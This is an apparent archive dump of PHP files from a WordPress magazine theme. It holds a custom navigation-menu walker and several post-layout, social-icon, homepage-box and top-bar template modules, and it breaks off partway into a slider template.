		$penci_menu_type = get_post_meta( $menu_item->ID, 'penci_menu_type', true );
		$penci_menu_mw   = get_post_meta( $menu_item->ID, 'penci_menu_mw', true );

		$indent  = str_repeat( "\t", $depth );
		$classes = '';
		if ( 0 === $depth && 'mega-menu' == $penci_menu_type ) {

			$classes .= ' penci-dropdown-menu penci-dropdown';

			$classes .= $penci_menu_mw && $penci_menu_mw != 'full' ? ' penci-mega-custom-width' : ' penci-mega-full-width';
			$classes .= empty( $penci_menu_mw ) ? ' penci-mega-default-width' : ' penci-mega-has-width';

			$output .= $indent . '<div class="' . trim( $classes ) . '">';
			$output .= $indent . '<div class="container">';
		}

		if ( 0 === $depth && 'mega-menu' == $penci_menu_type ) {
			$sub_menu_class = 'penci-megamenu-sub sub-sub-menu';
		} else {
			$sub_menu_class = 'sub-menu';
		}

		$output .= "\n$indent<ul class=\"$sub_menu_class\">\n";
	}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * @param string $output Passed by reference. Used to append additional content.
	 * @param int $depth Depth of menu item. Used for padding.
	 * @param mixed $args An array of arguments. @see wp_nav_menu().
	 *
	 * @since 3.0.0
	 *
	 * @see   Walker::end_lvl()
	 */
	public function end_lvl( &$output, $depth = 0, $args = array() ) {
		$menu_item       = $this->curItem;
		$penci_menu_type = get_post_meta( $menu_item->ID, 'penci_menu_type', true );
		$indent          = str_repeat( "\t", $depth );
		$output          .= "$indent</ul>\n";

		if ( 0 === $depth && 'mega-menu' == $penci_menu_type ) {
			$output .= "$indent</div>\n";
			$output .= "$indent</div>\n";
		}
	}


	function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
		$this->curItem = $item;

		$header_style = penci_soledad_get_header_layout();
		if ( in_array( $header_style, array( 'header-10', 'header-11' ) ) && ! isset( $this->logo_break_point ) ) {
			$penci_nav_menu_items = wp_get_nav_menu_items( $args->menu );
			$middle_menu_elements = 0;

			if ( is_array( $penci_nav_menu_items ) || is_object( $penci_nav_menu_items ) ) {
				foreach ( $penci_nav_menu_items as $menu_element ) {
					$menu_item_parent = isset( $menu_element->menu_item_parent ) && $menu_element->menu_item_parent ? $menu_element->menu_item_parent : '0';
					if ( '0' === $menu_item_parent ) {
						++ $middle_menu_elements;
					}
				}
			}
			$top_level_menu_items_count = $middle_menu_elements;
			if ( 0 === $top_level_menu_items_count ) {
				$this->logo_break_point = $middle_menu_elements / 2;
			} else {
				$this->logo_break_point = ceil( $middle_menu_elements / 2 );
			}
		}

		$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';

		$class_names = $value = '';

		$classes   = empty( $item->classes ) ? array() : (array) $item->classes;
		$classes[] = 'menu-item-' . $item->ID;

		/**
		 * Filter the CSS classes applied to a menu items
		 *
		 * @param array $classes The CSS classes that are applied to the menu items
		 * @param object $item Current menu item
		 * @param array $args Array of arguments
		 *
		 * @since 1.0
		 */
		$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args, $depth ) );
		$class_names = $class_names ? ' class="' . esc_attr( $class_names ) . '"' : '';

		/**
		 * Filter the ID applied to a menu items
		 *
		 * @param string       ID that is applied to the menu items
		 * @param object $item Current menu item.
		 * @param array $args Array of arguments
		 *
		 * @since 1.0
		 */
		$id = apply_filters( 'nav_menu_item_id', 'menu-item-' . $item->ID, $item, $args );
		$id = $id ? ' id="' . esc_attr( $id ) . '"' : '';

		$output .= $indent . '<li' . $id . $value . $class_names . '>';

		$atts           = array();
		$atts['title']  = ! empty( $item->attr_title ) ? $item->attr_title : '';
		$atts['target'] = ! empty( $item->target ) ? $item->target : '';
		$atts['rel']    = ! empty( $item->xfn ) ? $item->xfn : '';
		$atts['href']   = ! empty( $item->url ) ? $item->url : '';

		/**
		 * Filter the HTML attributes applied to a menu items
		 *
		 * @param array $atts
		 * @param object $item The current menu item.
		 * @param array $args An array of arguments
		 *
		 * @since 1.0
		 */
		$atts = apply_filters( 'nav_menu_link_attributes', $atts, $item, $args, $depth );

		$attributes = '';
		foreach ( $atts as $attr => $value ) {
			if ( ! empty( $value ) ) {
				$value      = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );
				$attributes .= ' ' . $attr . '="' . $value . '"';
			}
		}

		$item_output = $args->before;

		if ( $item->is_mega_menu == false ) {
			$item_output .= '<a' . $attributes . '>';
		}

		$item_output .= $args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after;

		if ( $item->is_mega_menu == false ) {
			$item_output .= '</a>';
		}
		$item_output .= $args->after;

		/**
		 * Filter a menu item's starting output
		 *
		 * @param string $item_output The menu items starting HTML output
		 * @param object $item Menu item data object
		 * @param int $depth Depth of menu item
		 * @param array $args Array of arguments
		 *
		 * @since 1.0
		 */
		$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
	}

	function end_el( &$output, $item, $depth = 0, $args = array() ) {

		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
			$t = '';
			$n = '';
		} else {
			$t = "\t";
			$n = "\n";
		}
		$output .= "</li>{$n}";

		$item_parent = $item->menu_item_parent ? $item->menu_item_parent : '0';

		if ( '0' === $item_parent ) {
			++ $this->count_item_parent;
		}

		$header_style = penci_soledad_get_header_layout();
		$break_point  = $this->logo_break_point;

		if ( in_array(
			     $header_style,
			     array(
				     'header-10',
				     'header-11',
			     )
		     ) && '0' === $item_parent && $break_point == $this->count_item_parent && ! penci_check_theme_mod() ) {

			if ( isset( $args->menu_id ) && $args->menu_id ) {
				$wrap_id = $args->menu_id;
			} elseif ( isset( $args->menu ) && $args->menu ) {
				$menu    = $args->menu;
				$wrap_id = 'menu-' . ( isset( $menu->slug ) ? $menu->slug : '' ) . '-second';
			} else {
				$wrap_id = 'menu-second';
			}

			$wrap_class = isset( $args->menu_class ) ? str_replace( 'pencimn-left', 'pencimn-right', $args->menu_class ) : 'pencimn-right';

			$output .= '</ul>';

			ob_start();
			get_template_part( 'template-parts/header/logo-has-trans' );
			$output .= ob_get_clean();

			$output .= sprintf( '<ul id="%s" class="%s">', esc_attr( $wrap_id ), esc_attr( $wrap_class ) );

		}
	}
}
PK     0w\11  1    modules/magazine-style-6.phpnu [        <?php
/**
 * Template display for featured category style 6
 *
 * @since 1.0
 */
$post_id = get_the_ID();
?>
<?php if ( $m == 1 ): ?>
<div class="cat-left"><?php endif; ?>
    <div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post';
		if ( ! has_post_thumbnail() ): echo ' full-mag-cat'; endif; endif; ?>">
        <div class="magcat-thumb">
			<?php
			$size_pie = 'small';
			if ( $m == 1 ): $size_pie = 'normal'; endif;
			do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID(), $size_pie );
			}
			?>

            <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
				<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
            </a>

			<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
				<?php endif; ?>
			<?php endif; ?>
        </div>
        <div class="magcat-detail">
			<?php if ( $m == 1 ): ?>
            <div class="mag-header"><?php endif; ?>
                <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
				<?php if ( ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                    <div class="grid-post-box-meta mag-meta">
						<?php if ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                            <span class="featc-author author-italic author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                        class="url fn n"
                                        href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>"><?php the_author(); ?></a></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                            <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                            <span class="featc-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
							echo '<span class="featc-views">';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						} ?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="featc-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
				<?php if ( $m == 1 ): ?></div><?php endif; ?>
			<?php if ( $m == 1 && get_the_excerpt() && ! get_theme_mod( 'penci_home_featured_cat_remove_excerpt' ) ): ?>
                <div class="mag-excerpt entry-content">
					<?php
					if ( get_theme_mod( 'penci_excerptcharac' ) ) {
						the_excerpt();
					} else {
						$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
						penci_the_excerpt( $excerpt_length, $post_id );
					}
					?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
	<?php if ( $m == 1 ): ?></div>
<div class="cat-right"><?php endif; ?>
	<?php if ( $m == $numers_results ): ?></div><?php endif; ?>
PK     0w\v      modules/magazine-style-11.phpnu [        <?php
/**
 * Template display for featured category style 11
 *
 * @since 1.0
 */
?>

<div class="mag-photo">
    <div class="magcat-thumb hentry">
		<?php
		do_action( 'penci_bookmark_post', get_the_ID() );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {
			penci_display_piechart_review_html( get_the_ID() );
		}
		?>
        <a href="<?php the_permalink(); ?>" class="mag-overlay-photo"></a>

        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
           href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
        </a>


        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title"><a
                        href="<?php the_permalink(); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 15, '...' ); ?></a>
            </h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author vcard"><?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     0w\:      modules/magazine-style-3.phpnu [        <?php
/**
 * Template display for featured category style 3
 *
 * @since 1.0
 */
?>

<div class="mag-photo">
    <div class="magcat-thumb hentry">
		<?php
		do_action( 'penci_bookmark_post', get_the_ID() );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {
			penci_display_piechart_review_html( get_the_ID() );
		}
		?>
        <a href="<?php penci_permalink_fix(); ?>"
           class="mag-overlay-photo<?php echo penci_class_lightbox_enable(); ?>"></a>

        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
           href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
        </a>

		<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author vcard"><?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     0w\-J      modules/magazine-style-8.phpnu [        <?php
/**
 * Template loop for list style
 */
$post_id = get_the_ID();
?>
<li class="list-post pclist-layout">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
					<?php do_action( 'penci_bookmark_post' ); ?>
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible" data-auto="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>
                                <div class="swiper-slide swiper-mark-item">

									<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size() ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>


                                    <figure <?php echo penci_layout_bg( $the_image[0] ); ?> class="<?php echo penci_layout_bg_class();?> penci-swiper-mask penci-image-holder penci-lazy"
										<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
										<?php echo penci_layout_img( $the_image[0], $the_caption ); ?>
                                    </figure>

                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>


                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                </a>


				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="content-list-right content-list-center<?php if ( ! has_post_thumbnail() ) : echo ' fullwidth'; endif; ?>">
            <div class="header-list-style">
				<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
                    <span class="cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>
                <h2 class="grid-title entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
				<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) || ! get_theme_mod( 'penci_home_featured_cat_author' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                    <div class="grid-post-box-meta">
						<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                            <span class="featc-author author-italic author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                        class="url fn n"
                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                            <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                            <span class="featc-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
							echo '<span class="featc-views">';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						} ?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="featc-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
            </div>

			<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_home_featured_cat_remove_excerpt' ) ): ?>
                <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
					<?php
					do_action( 'penci_before_post_excerpt' );
					if ( get_theme_mod( 'penci_excerptcharac' ) ) {
						the_excerpt();
					} else {
						$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
						penci_the_excerpt( $excerpt_length, $post_id );
					}
					?>
                </div>
			<?php endif; ?>

        </div>
		<?php penci_soledad_meta_schema(); ?>
    </article>
</li>
PK     0w\up  p    modules/socials.phpnu [        <div class="inner-header-social">
	<?php
	$social_data         = penci_social_media_array();
	$custom_social_icons = get_option( 'penci_custom_socials', array() );
	foreach ( $social_data as $name => $sdata ) {
		if ( $sdata[0] ) {
			$icon_html = penci_icon_by_ver( $sdata[1] );
			$name      = isset( $custom_social_icons[ $name ]['name'] ) ? $custom_social_icons[ $name ]['name'] : $name;
			?>
			<a href="<?php echo esc_url( do_shortcode( $sdata[0] ) ); ?>" aria-label="<?php echo ucwords( $name ); ?>" <?php echo penci_reltag_social_icons(); ?> target="_blank"><?php echo $icon_html; ?></a>
			<?php
		}
	}
	?>
</div>
PK     0w\	  	    modules/home_boxes.phpnu [        <?php
/**
 * Home boxes
 * Create 3/4 boxes in homepage
 * @since 1.0
 */
$weight_text = get_theme_mod( 'penci_home_box_weight' ) ? get_theme_mod( 'penci_home_box_weight' ) : 'normal';
$boxes_size  = get_theme_mod( 'penci_home_box_type' ) ? get_theme_mod( 'penci_home_box_type' ) : 'horizontal';
$thumb       = 'penci-thumb';
if ( $boxes_size == 'square' ) {
	$thumb = 'penci-thumb-square';
} elseif ( $boxes_size == 'vertical' ) {
	$thumb = 'penci-thumb-vertical';
}
?>
<div class="container home-featured-boxes boxes-weight-<?php echo $weight_text; ?> boxes-size-<?php echo $boxes_size; ?>">
    <ul class="homepage-featured-boxes<?php if ( '4' == get_theme_mod( 'penci_home_box_column' ) ): echo ' boxes-4-columns'; endif; ?>">
		<?php
		for ( $k = 1; $k < 10; $k ++ ) {
			$homepage_box_image = get_theme_mod( 'penci_home_box_img' . $k );
			$homepage_box_text  = penci_get_setting( 'penci_home_box_text' . $k );
			$homepage_box_url   = penci_get_setting( 'penci_home_box_url' . $k );
			if ( $homepage_box_image ):
				$open_url = '';
				$close_url      = '';
				$target         = '';
				if ( get_theme_mod( 'penci_home_boxes_new_tab' ) ):
					$target = ' target="_blank"';
				endif;
				if ( $homepage_box_url ) {
					$open_url  = '<a href="' . ( $homepage_box_url ) . '"' . $target . '>';
					$close_url = '</a>';
				}
				?>
                <li class="penci-featured-ct">
					<?php echo wp_kses( $open_url, penci_allow_html() ); ?>
                    <div class="penci-fea-in<?php if ( get_theme_mod( 'penci_home_box_style_2' ) && ! get_theme_mod( 'penci_home_box_style_3' ) ): echo ' boxes-style-2'; endif; ?><?php if ( get_theme_mod( 'penci_home_box_style_3' ) ): echo ' boxes-style-3'; endif; ?>">

                        <div <?php echo penci_layout_bg( penci_get_image_size_url( $homepage_box_image, $thumb ), '' ); ?> class="<?php echo penci_layout_bg_class();?> fea-box-img penci-image-holder penci-holder-load">
							<?php echo penci_layout_img( penci_get_image_size_url( $homepage_box_image, $thumb ), '' ); ?>
                        </div>


						<?php if ( $homepage_box_text ): ?>
                            <h4><span class="boxes-text"><span
                                            style="font-weight: <?php echo $weight_text; ?>"><?php echo sanitize_text_field( $homepage_box_text ); ?></span></span>
                            </h4>
						<?php endif; ?>
                    </div>
					<?php echo wp_kses( $close_url, penci_allow_html() ); ?>
                </li>
			<?php
			endif;
		}
		?>
    </ul>
</div>
PK     0w\8  8    modules/topbar.phpnu [        <?php
/**
 * Top bar template
 * Options for it in Customize > Top Bar Options & Colors For Top Bar
 *
 * @since 1.0
 */
?>
<div class="penci-top-bar<?php if ( get_theme_mod( 'penci_top_bar_hide_social' ) ): echo ' no-social'; endif;
if ( get_theme_mod( 'penci_top_bar_enable_menu' ) ): echo ' topbar-menu'; endif;
if ( get_theme_mod( 'penci_top_bar_1400' ) ): echo ' topbar-1400px'; endif;
if ( get_theme_mod( 'penci_top_bar_full_width' ) ): echo ' topbar-fullwidth'; endif; ?>">
    <div class="container<?php if ( get_theme_mod( 'penci_top_bar_1400' ) ): echo ' container-1400'; endif; ?>">
        <div class="penci-headline" role="navigation"
		     <?php if ( ! get_theme_mod( 'penci_schema_sitenav' ) ): ?>itemscope
             itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>
	        <?php do_action( 'penci_topbar_content' ); ?>
            <?php
			$tbreorder      = get_theme_mod( 'penci_topbar_ordersec' ) ? get_theme_mod( 'penci_topbar_ordersec' ) : 'toptext-topposts-topmenu-topsocial';
			$tbreorderarray = explode( '-', $tbreorder );
			if ( ! empty( $tbreorderarray ) ) {
				foreach ( $tbreorderarray as $tbsec ) {
					if ( $tbsec == 'toptext' && get_theme_mod( 'penci_tbtext_enable' ) ) :
						get_template_part( 'inc/templates/topbar_text' );
					endif;
					if ( $tbsec == 'topposts' && penci_get_setting( 'penci_toppost_enable' ) ) :
						get_template_part( 'inc/templates/topbar_topposts' );
					endif;
					if ( $tbsec == 'topmenu' && get_theme_mod( 'penci_top_bar_enable_menu' ) ) :
						get_template_part( 'inc/templates/topbar_menu' );
					endif;
					if ( $tbsec == 'topsocial' && ( ! get_theme_mod( 'penci_top_bar_hide_social' ) || get_theme_mod( 'penci_tblogin' ) ) ) :
						get_template_part( 'inc/templates/topbar_social' );
					endif;
				}
			}
			?>
        </div>
    </div>
</div>
PK     0w\@M      modules/magazine-style-4.phpnu [        <?php
/**
 * Template display for featured category style 4
 *
 * @since 2.0
 */
?>

<div class="mag-single-slider swiper-slide">
    <div class="magcat-thumb hentry">
		<?php do_action( 'penci_bookmark_post', get_the_ID() ); ?>
        <a href="<?php penci_permalink_fix(); ?>"
           class="mag-single-slider-overlay<?php echo penci_class_lightbox_enable(); ?>"></a>

